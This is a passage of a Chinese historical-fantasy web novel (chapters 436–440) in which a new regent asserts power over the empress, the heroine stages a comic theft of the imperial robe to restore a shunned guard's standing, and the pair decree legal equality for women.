在霍乾念点头同意后,云望直接将霍乾念拜摄政王之位、云琛得封武丞相的圣旨,往两人怀里一塞,然后领着群臣跪拜下去。
四周百姓立马爆发出更加震耳欲聋的兴奋呐喊,云望脑瓜子嗡嗡的。
好不容易凯旋大殿结束,按规矩,霍乾念与云琛应当立即入宫觐见,向皇帝交付兵权、述职并参加夜宴,盛礼就算结束。
可百姓们实在热情高涨,迟迟拥着霍乾念、云琛和将士们不肯离去,硬是追送到了宫门前。
百姓们被拦在禁军设置的障枑外,不得靠近宫门。
霍乾念则与云琛带着一干将领及百官,向宫门而去。
作为如今一人之下万人之上的摄政王,霍乾念策马在最前,两列禁军仪仗为他举旗引路,向侧门走去。
霍乾念却在行向正门与侧门的路径拐点停了下来,身后所有人也都跟着停住。
这令正领禁军在宫门口迎接的苏正阳有点意外,不明白霍乾念这是要干什么?
已经到了宫门口,怎么既不下马卸剑,也不赶紧从侧门进宫面圣?停在这里做什么?
苏正阳用疑问的目光看向紧挨霍乾念身后的云琛,却见她面有郁色,脸上虽有得体的笑容,但那双眼睛骗不了人,里面全是阴郁悲伤。
霍乾念走,她就走,霍乾念停,她就停,她注意力完全不在这盛典上。
没办法,苏正阳只能上前朝霍乾念恭敬行礼:
“摄政王,可是典礼有何不妥之处?请摄政王明示,下官立即改正。”
霍乾念没有立马说话,而是停顿了好一会儿,直到百官的注意力都看过来,他才骑在那高大的屠狼驹上,稳坐如泰山,威严开口:
“开门。”
苏正阳一惊,下意识抬头,与霍乾念强势冷硬的目光对上。
这是要求开启正门,且不下马也不卸兵器,直接进宫的意思?
苏正阳心中惊疑不定,有点怀疑是不是自己听错了。
楠国开国以来,从未有过摄政王,纵观历史,也都是极少的皇族亲贵才能担此位。
霍乾念可以说是有史以来第一位非皇裔却得摄政王之职的。
那么对待这样级别的权力者,该用什么礼数呢?
开启只有帝后才能进出的宫门,应该......不算过分吧?
思忖片刻,苏正阳立即下令禁军开启皇宫正门,飞快地看了眼霍乾念的脸色,心说这下满意了吧,该进去了吧?
可霍乾念依然没有动,伫立原地,稳如泰山大佛。
苏正阳开始心中快速思量,还有哪里是令霍乾念不满意的,却听霍乾念淡淡开口,问出了一句令苏正阳魂飞魄散、也令文武百官震惊不已的话来:
“皇上呢?”
第437章 挑衅
好像家族权力最大的威严长辈,外出归来,扫了眼门口迎接的众人,发现某小辈不在,不悦地问了句“人呢?”
霍乾念就这样当着百官与禁军,以及全京都城百姓的面,问出了那句震惊四方、可以称为大不敬的话来:
“皇上呢?”
皇上自然在凤驭天殿,在永安殿,在御花园,想在哪里在哪里。
这道理人人都知道。
所以这“明知故问”,即为“召见”。
霍乾念在要求皇帝南璃君前来见自己,亲迎他凯旋回宫。
这等狂妄,令满场官员震惊不已,交头接耳。
霍乾念随即一个凌厉的眼神扫视全场,瞬间令众人又低头噤声。
百官暗暗咂摸起不同滋味,心中揣测不停。
而围观的百姓们显然不像官场上的人精那样想得多,只愈发替霍乾念和云琛高兴,面露羡慕:
瞧瞧!不愧是立下赫赫战功的大功臣,连皇帝都要亲自来迎接!真威风!做人当如霍家郎啊!
苏正阳将这一切都看在眼里,心知此事已远远超出他能决定的范畴,只能立即差人去请示南璃君。
片刻后,女官庄姬来向霍乾念回报:
“请王爷与武丞、各位将军稍候,皇上已在永安殿备下夜宴,为各位功勋庆功。皇上说了,王爷与武丞这等卫国重臣,她必亲自来迎,烦各位略候。”
这话明显是客套,表明南璃君从一开始就没有要来亲迎功将的意思,所以这会才准备要来。
但这也是个台阶。
一般人,这个时候都会感激地说一声“谢皇上恩典,还是卑职去拜见皇上合宜”,然后顺其自然地牵着马进宫门。
可霍乾念却压根没打算从这“台阶”下来,竟真的收起手里牵马缰绳,一副耐心等待的样子。
与此同时,另一边,凤驭天殿中。
看着满地碎瓷狼藉和不停发脾气的南璃君,颜十九越发觉得厌烦。
真是个蠢女人!先皇与皇后娘娘,一对龙凤天人怎么生出这般庸才蠢货!
前几日才告诉过她,要想让霍乾念摔得惨,必须得先让他爬得足够高!
不怕他嚣张,就怕他太低调收敛,让人抓不到错处!
眼下他当众挑衅皇威,不正中我们下怀,当着全天下的面,生生送了个弹劾的理由给我们?!
强忍心中烦躁,颜十九努力将表情放得和颜悦色:
“阿璃,为君要有容人之度,他霍乾念功盛回归,全天下人都看着呢!他叫你去迎,你就去吧,走几步路的事而已。”
南璃君猛甩龙袖,怒道:
“凭什么?!我堂堂楠国皇帝,怎能让他召之即来挥之即去!从只有我能走的正宫门进入就罢了!竟要我屈尊降贵去迎他?!猖狂至极!气死我了!”
南璃君说着发狠去踢地上一个碎瓷瓶,不妨一脚踢在那破口尖锐处,登时扎破脚尖,血珠直冒,疼得她“哎呀”一声,眉头紧皱,弯起腰。
颜十九已快控制不住心中厌烦,只当没看见这一幕,表情有些冷地说:
“阿璃,《增广贤文》有述,‘上天欲其灭亡,必先令其疯狂’。你暂且忍忍,待日后新账旧账一起算,再叫霍乾念向你叩头认罪。”
南璃君没有回应这几句,只是踮着脚,不停倒吸凉气,眼泪汪汪地看向颜十九:
“我脚好痛……”
颜十九缓缓上前,正当南璃君以为他要将自己抱起来好好哄一哄时,颜十九却重重摁住她肩头,压得她身形一晃,被迫站稳,脚尖愈发痛楚。
“你干嘛?”南璃君疼得额头冒汗,想抱怨,却见颜十九神情发冷,一脸不容她再撒娇的严肃,道:
“阿璃,若想皇位坐得稳,必要先除霍乾念。我再说一遍,为今之计,必须先成全他、推着他越狂妄越好,然后你我安排一‘奸臣’出面,待百官怨怼、百姓们都开始议论时,借‘奸臣’之手扳倒他,再杀奸臣以平民愤。这便是最完美的盘算。”
说完,不顾南璃君站在地上都费劲,龙靴都开始渗血,颜十九用力推她:
“小不忍则乱大谋,快去迎摄政王吧!”
于是,半个时辰后。
在全京都百姓的跪拜和注目下,南璃君一身龙袍璀璨,由宫人抬轿簇拥,笑容勉强地来到宫门前,说了一大堆官方客套的褒奖之词,然后亲自下轿,慢吞吞来迎霍乾念。
众官跪地向皇帝行礼,纷纷面露惊异之色,忍不住小声议论:
“楠国要变天了呀,看来今后,得在摄政王脸色下讨仕途了。”
“回京第一天就给了皇帝这么大的下马威,不得了哟……”
这些议论声又小又谨慎,霍乾念听不见,但立在群臣之首的云望却听得很清。
他望向霍乾念笔挺的背影,后者满身不怒自威的至尊气势,正下马落地,没有第一时间向南璃君行礼,而是先去一旁扶云琛下马。
迎着南璃君难看至极的脸色,霍乾念旁若无人地牵着云琛的手,自那帝后才许进出的皇宫正门,不急不慢地与云琛并肩进入。
这一幕令云望轻轻皱眉:
这太不符合霍乾念谨慎的性子了。
在旁人看来,此举也许是霍乾念因功高而一时得意忘形。
但云望是知道霍乾念私底下为人的,这狂妄的风格与举动,完全不像他。
云望心里突然有了些不好的猜想。
在随后的入宫夜宴上,他虽不动声色,却忍不住一直去看霍乾念。
见霍乾念受赏时面露不屑,被南璃君褒奖时倨傲不谢,面对皇帝满脸堆笑的寒暄,更是想答就答,不想答,直接让话掉在地上尬着,云望越来越觉得不对劲,想找云琛问问,一扭头,却见云琛座位空空如也,人不知跑哪里去了。
另一边,云琛自叶峮暴毙后,就再没有发自内心地笑过。
在经过凯旋大道,看着无数百姓热烈欢呼的时候,她一边朝人群微笑、挥手致意,一边心里控制不住地想:
要是叶峮还在,该多好啊……
让他也瞧瞧这盛礼,瞧瞧他拼了血肉去保护的太平与百姓,欣慰一切都值得。
可惜叶峮永远也不可能看见了。
曾经那么重要、在所有人生命里都那么深刻过的一个人,如今竟消失得悄无痕迹。
叶峮是霍帮的亲卫大护卫,没有军职,更没有死在战场上,所以史册与英烈传记里不会有他。
而霍帮护卫上下,即使想为叶峮哭一场,也因全京都都在进行盛大的凯旋典礼,都在庆贺,而不敢举行丧仪。
就连叶峮的大亲卫之职,那看似绝无人能替代的位置,也立马有人接上了。
叶峮,就好像一缕清风,顷刻消失得无影无踪。
所有人都像离了个可有可无的人而已,仍继续着自己的生活。
只有云琛走不出这阴霾。
她心里难受,想找人说说话,抬头四顾,却发现亲卫兄弟们早已死的死,走的走,无人可说。
她无心参加这奢华夜宴,稍坐了一会儿,接完皇帝的赏赐后,便独自一人来到侍卫所。
今日盛礼,侍卫们全都轮班巡逻去了,侍卫所没人,云琛扑了个空,只能一路向宫人打听,一路去找不言。
在偌大的皇宫外苑里,像没头苍蝇一样转了两刻钟后,她终于远远地看见不言瘦削的身影。
他与几十个侍卫一起,正在一处宫苑天台值守。
因为是庆贺盛典、且有狮威虎威大军在京都郊外坐镇的缘故,侍卫们看起来都很轻松。
恰逢内务局提着果酿和糕点来慰问,众侍卫喜笑颜开地领了吃食,三三两两聚在一起边吃边笑。
等内务局的宫人想起不言还没领吃食的时候,食盒里已经全空,一点糕点渣滓都没剩下。
宫人歉意地行礼,不言不在意地摆摆手,仍站在值守位。
其他侍卫们则互相对视一眼,面露轻蔑,又开始阴阳怪气:
“哎,做过霍帮护卫的就是不一样哈,不吃不喝,清心寡欲。”
“寡欲?你在开什么玩笑?能‘寡’得了嘛?”
“哈哈哈——”
“小声点,别叫人家听见了,去告状呢!”
“告给谁?前主子?人家已经是摄政王,杀个侍卫就跟碾死只蚂蚁一样容易,更何况是叛徒。告武丞相?哼,我还是那句话,云琛不可能和这种人称兄道弟!”
不言对一切充耳不闻,一个人孤零零站在所有人之外,神情冷寂默然。
云琛从没见过这样的不言,脚步定在原地,嘴巴半张,愣愣看了这一幕许久。
作为背弃旧主的护卫,融入新的团队,肯定需要些时间,云琛早就想过,不言作为外来者加入侍卫所,肯定多少要受到些冷落。
可眼前这一幕,已远超“冷落”的范畴,是明打明的排挤和侮辱!
看着不言颇为孤独落寞的背影,云琛心头酸痛,咬了咬后槽牙,悄悄后退离开。
她径直回到夜宴,无视云望想要和她搭话的样子,一屁股坐回座位。
身边的荣易和罗东东乍见她回来,都吓了一跳——
他们很少从云琛脸上看见这么严肃、甚至有些阴沉的表情。
荣易悄声问:“老大,你怎么生气了?”
罗东东也凑过来:“哪个瘪犊子敢惹你?俺给你报仇!”
云琛不说话,仰头干尽一壶酒,压低嗓子:
“你俩跟我来,悄悄的!”
很快,半个时辰后,三道黑衣蒙面的身影鬼鬼祟祟,聚集到皇宫阴影角落。
云琛扯下蒙面,将计划跟荣易、罗东东一说。
荣易倒是趁着酒劲有些兴奋,两眼放光跃跃欲试的。
罗东东却眼睛瞪得溜圆,失声惊叫:
“偷龙袍?老大你疯了吧?”
第438章 偷龙袍
“偷龙袍?老大你疯了?”
罗东东失声惊呼,又赶紧用仅有的一只胳膊死死捂住嘴,嘴巴里呜呜咽咽的,听起来像在骂娘。
云琛敲了罗东东脑袋一下,又用眼神示意兴奋的荣易安静点,小声道:
“刺杀不行,抓住就是死罪,抓不住,更是没完没了到处查。那就只有偷东西动静最大还不伤人,龙袍比金银瓷器什么的都轻、好带。
快被侍卫们追上的时候,咱只要把龙袍一扔,那玩意儿损伤一点,侍卫们都得吃不了兜着走,肯定都去接龙袍了,咱们趁乱逃走,再赶紧找地方换衣服,继续回去吃酒。如此一来,可谓天衣无缝!”
罗东东听完沉默了一下。
“老大,你这计划里有个漏洞。”
“啥漏洞?”云琛问。
罗东东语气颤抖:
“搞刺杀被抓住是死罪,特么偷龙袍就不是死罪了??”
眼下才是功成名就的第一天啊!
屁股还没在京都的椅子上坐热乎呢,第一次进宫,就要整这掉脑袋的大动静??
罗东东哭丧着脸。
云琛鼓励他:“以咱仨身手,怎么可能被抓?就当是演习考核了!”
见罗东东还是发怵,云琛只能将不言的处境说了出来。
听完,荣易和罗东东先是惊讶,而后兄弟义气全被激发。
罗东东将蒙脸面巾扯紧,拍拍肋骨,凛然道:
“这刀,俺插了!走着!”
荣易和不言交情浅,从前在军中没少呛架,也瞧不上不言背叛霍帮惹云琛那么伤心的做派。
但只要是云琛发话,荣易就没有不应的,也拍拍胸脯:
“那么就按计划开干!”
三道蒙面黑影随之在夜空下悄悄散开,成三角包围行向凤驭天殿。
荣易跳上殿顶望风,罗东东在地守望,云琛则从角窗翻身进入大殿,无声地经过打瞌睡的宫女,内外找了一大圈,并没有看见那金光灿灿的龙袍。
她对宫里规制礼仪不熟悉,一时间有些茫然,琢磨龙袍会不会在什么偏殿里,便又悄悄启开偏门。
她刚侧身闪进去,转头就撞上一个高大的黑影。
偏殿没有点灯,一片漆黑。
她吓了一跳,没料到怎么有个高手在南璃君的偏殿,竟能不发出一点声音地靠近她。
她下意识蹦起来锁对方喉咙,却被那宽大的手掌一把包住拳头,用力一拉,跌进了怀中。
黑暗中,她听见一声熟悉又带点轻佻的笑声在头顶响起,顿时戒备放松。
“颜十九?怎么忘了有你这熟人在,嘿嘿,你这有皇上龙袍吗?”
颜十九的面容被黑暗遮挡,看不清表情,但从语气听来,和平常并无二致,笑说:
“你要那玩意儿干嘛?我这没有,我只有皇上的肚兜,要嘛?”
“那算了!”肚兜这种东西太伤女子名节,不能胡来。云琛没空跟颜十九细说,向他打听清楚龙袍在更衣内室,就赶紧离开偏殿。
颜十九也没有挽留,直到听见云琛得手,离开凤驭天殿,他才重新点亮微弱的烛火,照出房梁上两道鬼魅一样的暗影。
万宸轻轻松气,重新呼吸。
旁边的焦左泰没做过暗卫,甚少憋这么久的气,刚才紧张得连根头发丝都不敢动,此刻大口地喘气,从房梁跳下来:
“皇上,三王爷在东炎监国妥帖,一干他无法决定的大事,末将方才都已禀报完毕。为不暴露身份,要不,臣尽快离开吧?免得给皇上您添麻烦。”
方才若不是万宸耳朵灵,听见有人进了南璃君寝殿,且从绝好的轻功判断是云琛,只怕这会他们已经暴露。
若让云琛亲眼看见焦左泰是颜十九的人,必然会破坏颜十九后面的一系列计划。
颜十九若真动怒,焦左泰便只有人头落地这一个下场。
想到这里,焦左泰愈发觉得此地不宜久留,心说只是送些东炎国事里炎朗无权处理的事件文书而已,和从前一样,叫暗卫送来就好,何苦让他跑这一趟。
似乎看穿焦左泰想法,颜十九面色比方才更阴冷,沉声道:
“文书叫万宸送去,你不必回东炎了。”
焦左泰一惊,不明白这话什么意思?第一反应是颜十九已发现他背后那点称不上背叛、但绝对不合适的小动作,要杀他了?刚想告罪说自己“不过是爱女心切”。
然而颜十九只是道:
“召集所有黑鳞骑兵,该往西炎去了。”
……
……
另一边,云琛盗得龙袍,离开凤驭天殿,快速往不言值守巡逻的天台跑。
荣易和罗东东从左右一前一后瞭望行进,这是他们三人在战场上最常用的突击阵型。
待已能隐约看见天台上的侍卫们时,罗东东用力踩动脚下琉璃瓦,发出一声脆响,立刻引得侍卫们惊呼“有刺客”,纷纷追击过来。
罗东东不近不远地带着侍卫们兜圈子,待将大部分人引离天台后,他闪身跳进水井,三腿青蛙似的撑着井壁,成功躲藏。
云琛随即接力跳出来吸引侍卫们,放风筝似的抓着龙袍,继续往天台不言的方向跑去。
侍卫们这才反应过来不是有刺客,而是有盗贼,竟胆大包天到偷龙袍?忍不住边追边骂:
“哪来蠢贼偷龙袍?拿回去能干啥?卖钱?谁敢买?”
“可能想造反吧!”
“有病!谁造反不悄悄的,还这样大张旗鼓?那反而有诈!”
侍卫们连骂带追的功夫,云琛已跑到了天台底下,攀上墙头,与留守的不言交手。
不言不疑有他,全力进攻。
但很快,他就感觉不对劲了。
对方一招一式特别熟悉不说,还总暴露破绽给他,几乎是追着他功夫路数在送招。
瞅准攻击肋骨的机会,不言轻轻松松一把扭住来人胳膊,直接对上那双无比熟悉又灵动狡黠、世上再没有第二双这样干净的眼睛,登时脑子一片空白,松开了手。
云琛为了给不言送招,挨了不少拳打脚踢,这会子疼得呲牙咧嘴,不停倒吸凉气。
见先前被罗东东带去兜圈子的那群侍卫又跑回来了,云琛觉得时机已到,哑着嗓子“啊——”一声惨叫,装作被不言打的踉跄后退。
众目睽睽之下,她动作夸张地捂住胸口,“噗”地喷出一大口红墨汁。
她甩了把蒙面巾上的“血”滴子,拱手对不言说了句“这位英雄好身手!我甘拜下风!龙袍不要了!”然后一把将龙袍扔进不言怀里,在不言一脸黑线中,干脆利索地扭头逃去。
那群刚刚才跑了一大圈回来的侍卫们,见状愣了一下,只能纷纷破口大骂,又追着云琛跑远。
等荣易接替云琛,继续带侍卫们兜圈子的时候,云琛和罗东东已经快速换回原来的衣裳。
再等侍卫们跑了两大圈,却什么也没抓到的时候,云琛、荣易和罗东东已经原模原样地坐回了夜宴。
云望看着消失了半个时辰又回来,装得若无其事,实际喘得跟三条大狗似的云琛三人,不知道这仨又搞什么幺蛾子去了,只能无奈地掏出帕子,扔给云琛,低声道:
“把你嘴边跟喝了人血一样的东西擦擦!”
云琛接过帕子抹嘴,呲着血红的牙齿“嘿嘿”一笑,看得云望一阵恶寒,忍不住打了个哆嗦。
而天台那边,众侍卫跑得满头大汗,一无所获地回来之后,不言已将龙袍收放得整整齐齐。
众侍卫看看不言,还有地上方才云琛喷的“血迹”,再看那差点丢了、便会要了他们前程甚至性命的龙袍,不禁心中一阵后怕,看不言的眼神已全无一丝鄙夷。
在护卫这行当,甭管最低等的流浪武师,还是最高级的御前侍卫,“崇拜武力”永远是这行当不成文的铁律。
就像当初在桃花峪行船,云琛凭借一等一的水性和武功,立马征服了整个侍卫队一样,此刻不言孤身一人就能击退潜入皇宫的高手大盗,众人打心眼里生出敬服。
再加上,作为南璃君的男宠之一,方才,不言完全可以放任那盗贼不顾,任由龙袍丢了,南璃君大怒,进而处罚所有侍卫,反正又不会牵连到他自己。
可不言没有,他认认真真迎战,并没有想利用这个机会,借南璃君的手去报平时被排挤侮辱的私仇,人品由此可见。
到这一步,侍卫们心中无一不明朗,对不言那些轻蔑、嫌弃、鄙视的情绪,顿时荡然无存。
众侍卫互相对望,都在彼此脸上看见惭愧。
最后,平日里阴阳不言最多的那个侍卫率先站出来,红着脸,恭恭敬敬向不言行了一礼,有点磕巴道:
“那个,不言,啊不是!我是说不总管,从前是我们不对,你……你……那个……”
旁边人听不下去了,小声笑着接话:
“‘你大人不记小人过,还请包涵’。你丫平时嘴皮子挺溜,关键时刻打磕巴,真是狗肉包子上不了席!”
“哈哈哈……”
众侍卫哄然笑起,笑完又齐齐看向不言,见他神色平常,全无一点要拿捏众人的意思,不禁愧疚和敬佩更甚,纷纷将方才领了没吃完的果酿和糕点拿出来,拉着不言坐下来一块吃。
“那个谁,你刚才吃得最多,你带人去跟禁军报告一下刚才的事——那个谁,你领队再去巡查两圈——还有你,今天晚上的陈情文书你写啊!”
“那你呢?你干啥?”
“我和总管唠嗑啊!我想听刚才打到那盗贼吐血的事!”
“我也听我也听!”
不言被众侍卫团团簇拥,一脸无语,众人这才想起不言说不了话,又赶紧连连道歉:
“总管莫怪!我们脑子浑得很!你给我们比画两下解解馋吧!”
“哎呦喂,你这是使唤不言哥的意思?凭啥给你比画?”
“那咋办,八百年遇不到一次的盗贼,怪刺激的,我想看。”
“我还有八百年没见过的大耳光呢!你想不想看?”
“哈哈哈……”
被众侍卫插科打诨包围着,不言好似又找回一点点从前在霍帮的感觉。
他目光颤动地望向夜宴的方向,趁所有人不注意,悄悄抹了把潮湿的眼角。
第439章 来点妙的
庆功的夜宴,通常要到半夜才结束。
荣易和罗东东参与完“偷龙袍”的大事,都觉肚子里才吃进去的酒肉又空了,对着宴席开启了第二轮大吃特吃。
云琛则托腮看着霍乾念与百官言谈,一会儿和这个国公喝酒,一会儿又和那个王爷碰杯,忙得跟个交际花一样的,根本顾不上她。
她无聊地拨拉两下面前的血燕。
以前听霍乾念说过,这东西十分华贵,要费不少人力,不宜浪费,她便一口干掉血燕,腻得嗓子眼发齁。
嘴里红墨汁味没散,又糊了这么一层甜腻,她忍不住吐了吐舌头,然后无视云望抬起的手,和刚说了一个开头的“我有事想问问你——”又一溜烟逃席了。
她在宫苑四处闲逛,因为如今武丞相的身份,无人来阻止她这逾矩行为。
她登上一处观景的九重阁楼,俯视夜空下灯火灼灼的京都城。
方才干坏事偷龙袍的紧张褪去,夜风柔和地迎面吹来,她长舒一口气,感受到久违的放松。
不知站了多久,一声“拜见丞相大人”吸引她回头,只见苏正阳也登上阁楼,正恭敬地朝她弯身行礼,抬起头来,是一张带着笑意的脸,便知他是在打趣。
云琛“哈哈”笑了两声,摸摸鼻子:
“你还是喊我云琛吧,‘丞相’这称呼真别扭。”
苏正阳收起行礼动作,掸掸衣摆,屏退周围值守的禁军。
待所有人都退下后,他走来与云琛并肩而立,一起俯瞰美景夜色,然后目不斜视,小声道:
“龙袍勾丝了。”
云琛表情一僵:
“我听不懂你在说什么。”
苏正阳瞥了眼她袖子上麒麟袖扣勾住的一长缕金丝线,眼神幽怨,又说:
“你玩得挺开心,武功高强来去自如的,你知道作为守卫皇宫的禁军统领,今天晚上这事,我和侍卫所得一起写多少页陈情文书吗......还要扣仨月俸禄。”
云琛面无表情地快速将袖扣上的丝线扯掉,随风飞走,然后绷不住,“扑哧”一声笑出来,惹得苏正阳无奈摇头,好气又好笑:
“我就知道是你,除了你,没人这样胆大包天,还用红墨汁装吐血,那东西含在嘴里不苦吗?”
说着,苏正阳解下随身的小水壶,拿帕子仔细擦拭过壶口,才递给云琛。
她也不客气,接过来漱漱口,感觉壶里是热水,便又往手心倒了点洗嘴,洗完正准备习惯性拿袖子抹,苏正阳又掏了块新帕子出来,“擦擦吧。”
她看得眼睛溜圆,连连竖起大拇指,玩笑道:
“论精致,还得是你这京城公子爷啊!”
“这话听着不像夸,像骂我呢!”苏正阳笑道:“其实那点勾丝,不仔细根本看不出来,但我唯一能想到的人就是你,特意去观察,果不其然。只有你永远会为了朋友这样。”
不言在侍卫队被排挤的事情,作为同守皇宫的禁军,苏正阳一直有所耳闻,他虽与不言不熟,但知道这是云琛过命的朋友。
看在云琛的面子上,他暗中帮过不言几次,但见对方态度不咸不淡,孤僻不接受的样子,便也慢慢作罢。
今夜,不言突然成了抢回龙袍又打得盗贼吐血的英雄,使得所有侍卫们免于责罚,保住了前程,一下和侍卫们融成一片,苏正阳便料定这事与云琛有关。
比起直接以官威镇压流言和侮辱,使得侍卫们敢怒不敢言,很可能对不言更加排斥,以这种方式,让所有侍卫们见识到不言的身手和人品,才更能服众,让人从心底接纳不言。
云琛的风格永远都是这样真诚纯粹。
“能与你做朋友,实在人生幸事。”苏正阳说:“这下大军回京,不必再去战场,你们几个霍帮亲卫又可以聚在一起了。”
这话一说完,苏正阳就后悔了。
因为借着灯火,他清楚地看见云琛笑意消失,脸上的光彩一瞬间黯淡,那在城门口时,他曾见过的郁色,再次回到她眼中。
“叶哥......已经没了。霍帮亲卫,现在只剩我和不言了。”她低声说,清冷落寞的声音飘散在夜空,听得苏正阳一阵心疼,想再掏块新帕子出来给她擦眼泪,却发现她虽眼睛湿润,却并没有落泪。
想来是已哭过太多次了吧。
多到她自己都记不清湿了多少次枕头,难受到她甚至不敢与不言面对面坐下来说说话,怕只要一张口,就是一场割人心肺的痛哭。
所以,她压根不敢亲自将叶峮身故的消息带给不言,只能在回京的路上写信告知,亦才得知不言自断舌头之事。
她震惊不已,想问不言为什么这样做?
可除了叶峮,已没有任何人可以回答她的问题。
似乎是为了安慰云琛,不言在信中自嘲写道:
“这辈子话说太多,累了,以后不想说了。等给叶哥上坟的时候刚好不吵他,安静些。”
云琛捧着信不住流泪,一会儿替不言痛,一会儿又思念叶峮。
就这样阴郁了好长时间,一直到今夜帮不言挣回尊严,她才觉得喘过那口沉重压抑的气。
只是她还没有去面对不言的勇气。
“苏正阳,帮我个忙。”她说。
苏正阳正在懊恼自己说错话,绞尽脑汁在想该怎么弥补,听云琛要他帮忙,立马答应下来:
“你尽管说,只要不是偷龙椅,我都能答应。”
云琛笑不出来,但有点被逗到,脸色缓和些许,道:
“明日,你帮我送些东西给不言哥,东西我前些日子都准备好了,无外乎金银和吃穿用度。但你要挑侍卫所人最齐的时候去,带上你的六个人,再带我们四个霍帮护卫,阵仗大些。送完,再在轮班休息时,请整个侍卫所喝顿酒,你在京都地界熟,比我知道规矩,好酒好菜招呼些,多少钱都算我的。”
“末了还要警告他们几句。”
云琛说完,苏正阳这样补了一句。
见云琛一脸疑问,苏正阳道:
“你不懂,‘小人畏威不畏德’,不是所有人都有良心,知道感激。侍卫所的人,大多正派,但难免有几个心术不端的,光用好处招待不行,还得上点手段才好。”
云琛虽然不理解,但点头同意:
“都听你的,这事麻烦,也委屈你禁军统领的身份了。过后我请你喝酒,一言为定。”
最后这句许诺,令苏正阳心中泛起涟漪,连连答应下来,禁不住再次感叹:
“你这脾性,难怪大家都喜欢你,都爱围在你身边。我听说,有将士把虎头绣衣服上,表示誓死追随‘云老虎’,怪有趣的。”
云琛脸一红,想说不是绣衣服上,是有一次军务检查的时候,发现好几个将士把虎头绣裤衩子上了,说什么吉祥保平安的,整得云琛没脸看。
没想到这事竟然传得京都都知道了。
回想奔波打仗这几年,她长叹一口气:
“希望以后不要再有需要扛起虎威大旗的时候,就这样一直太平安定下去,平平淡淡才最好。”
“这话听着跟你要辞官归隐似的。”苏正阳来了几分兴趣,“你现在已经是武丞相了,我国重武,你比文丞相云望还高一阶,等于皇帝与摄政王之下就是你,享签令之权,接下来前途不可限量。”
“不不不。”云琛头摇得像拨浪鼓,“你让我上战场可以,但要让我做什么武丞相,坐在房子里天天看堆成山的文书,签发什么令,我可坐不住。”
“那你准备干嘛?”
“当然是各司其职,将文书丢给会干的人,我嘛,自然是好好享受享受‘权力’的滋味喽——”
苏正阳一愣。
“权力”两字,从云琛嘴里吐出来,怎么听怎么别扭。她根本不是追逐权力的人。
但见她笑得贼兮兮,眼睛里有特别亮的光,苏正阳隐约有种预感:
这京都城,终于要来点妙的了!
第440章 权力
即使是多年以后,垂垂老矣时,苏正阳依然清晰地记得,夜宴过后的第二天,那一道摄政王与武丞令,带给他,以及全天下人的震撼。
也无数次午夜梦回那繁盛的京都城,重温那绚烂一时的如梦盛景。
夜宴过后,本该休沐十日再入朝的霍乾念和云琛,像是早就商量好了,双双推辞休假,一大早就官服威严笔挺地进入摄政王殿与武丞殿。
那是皇帝特批新建、予他们二人处理政务的殿宇。
两个时辰后,一道摄政王与武丞相联合推行的政令,在经皇帝签发后,由丞相云望润笔,公布天下。
一时之间,全楠国的官衙门口、大街小巷的布告栏,全部贴满了同一道新律例:
“即日起,凡踏楠国土之女,皆享女子等同权。”
意思是,这天下,只要是站在我楠国国土上的女人,不论老幼,从今天开始,全部享有与男子同等的权利。
读书,上学,从商,入仕。
小到抛头露面逛街吃酒,大到考取功名入朝为官,甚至另起炉灶当家主单过。
这些几百年来不允许女子踏足的禁地和规矩,通通被全部打破。
所有女子不再是冠着夫姓的附属品,这铁般森严的律例,用力推了一把,将每个女子推出那高深的闺房府门,向这世道大放异彩。
同时,律例亦尊重所有仍坚持留在深闺执掌中馈的女人们。
但不同的是,律例另附的一百二十五条细则中,其中特别声明,凡留宅执掌中馈之女,丈夫及其家族,必须支付掌家酬劳,违者以律法处置。
至此,苏正阳才终于明白,也感到深深的震撼。
这些惊骇世俗的条例,尤其那全面周到的细则,不可能是霍乾念想出来的,只可能是云琛这么多年女扮男装,已深深体会了这世道对女子的苛待和不易,才一条条仔细研究出来的。
原来,这世上竟真有人吃了那许多苦,想的不是抱怨,憎恨,凭什么,想法子叫别人比她更苦。
而是以一己之力,去建造大庇天下女子俱欢颜的广厦。
他终于明白,云琛口中的“权力”,便是站在这万人之上的高位,狠狠一脚,踹开了那腐朽礼教的大门。
很快,举国短暂的震惊与茫然过后,京都城的街头开始见到越来越多的女子们抛头露面,各行各业都开始有才德兼备的女子加入。
在深闺宅院里待了几十年的女人们,开始对强加来的姻缘说“不”,挑灯夜读备战功名的队伍里,多了许多罗裙倩影。
女子学堂、女子工坊、女子武馆……开始在全楠国盛行起来。
其中规模最大的一处,自然是由云琛亲自出钱出力、督建起来的“凌云武馆”。
这日,苏正阳照旧陪云琛在武馆四处溜达,巡视女武师们的日常训练,穿行在连绵不绝的习武呐喊声中。
宋俏俏也同平常一样,一边挽着云琛胳膊走路,一边手里拿着厚厚一本《楠国律例》在背。
苏正阳与宋俏俏自小就相识,如今因为云琛的关系,两人比从前更熟络,天天跟在云琛身边同进同出,就跟俩护卫似的。
瞧宋俏俏背得特别认真,苏正阳打趣:
“你当真要考女状师,天天为人办案子做辩护?不是一时头脑发热?”
“废话!”宋俏俏白了苏正阳一眼,仍专注地背诵,云琛替她说话了,笑道:
“她是铁了心要当状师的,现在天天抱着这《楠国律例》,在家和她爹吵架练手呢,气得她爹胡子都快吹飞了,来找了我好几次!”
宋禄老伯爵膝下无子,五个女儿中,对宋俏俏最为疼爱。
在朝廷发出这震惊五湖四海的新律例后,宋俏俏是第一个跳出来拥护的。
宋禄老伯爵虽难接受这些新思想,但拗不过爱女,便由得宋俏俏去。
谁知宋俏俏胆子忒大,那律例细则上一百多件新鲜事,她样样都想尝试一边。
一会儿涂了油彩唱大戏,一会儿倒腾铺子做生意,还琢磨想在京城开个象姑馆,一次次挑战着宋禄老伯爵的底线。
每当宋禄老伯爵不允许的时候,宋俏俏就会拿出《楠国律例》,一本正经地控诉:
“爹!这是我女子的权利!你不允许我,就是违反律例!我要去衙门告你!”
宋禄老伯爵气得没招,只能跑去云琛跟前告状,说如今宋俏俏对那新律例都快着魔了,谁的话都不听,就听云琛的。
在云琛一番劝导之下,宋俏俏尝试过各种行业,终于确定了自己想当状师的心意,这才停止了折腾。
“唉,老伯爵不容易。”苏正阳装模作样叹气,“当年伯爵夫人怀胎时,应该去算一卦的,早知道要生个状师出来,也好有点准备,提前买点堵耳塞什么的。”
“哈哈哈哈——”云琛被逗笑了。
宋俏俏臊得脸通红,直骂:
“你个浑蛋!等你成婚那天,看我不告诉你夫人你多假正经!”
听到“你夫人”三个字,苏正阳莫名脸色微变,玩笑似的说道:
“我可不请你去婚席,你那牙尖嘴利的,别带坏我夫人,惹不起!”
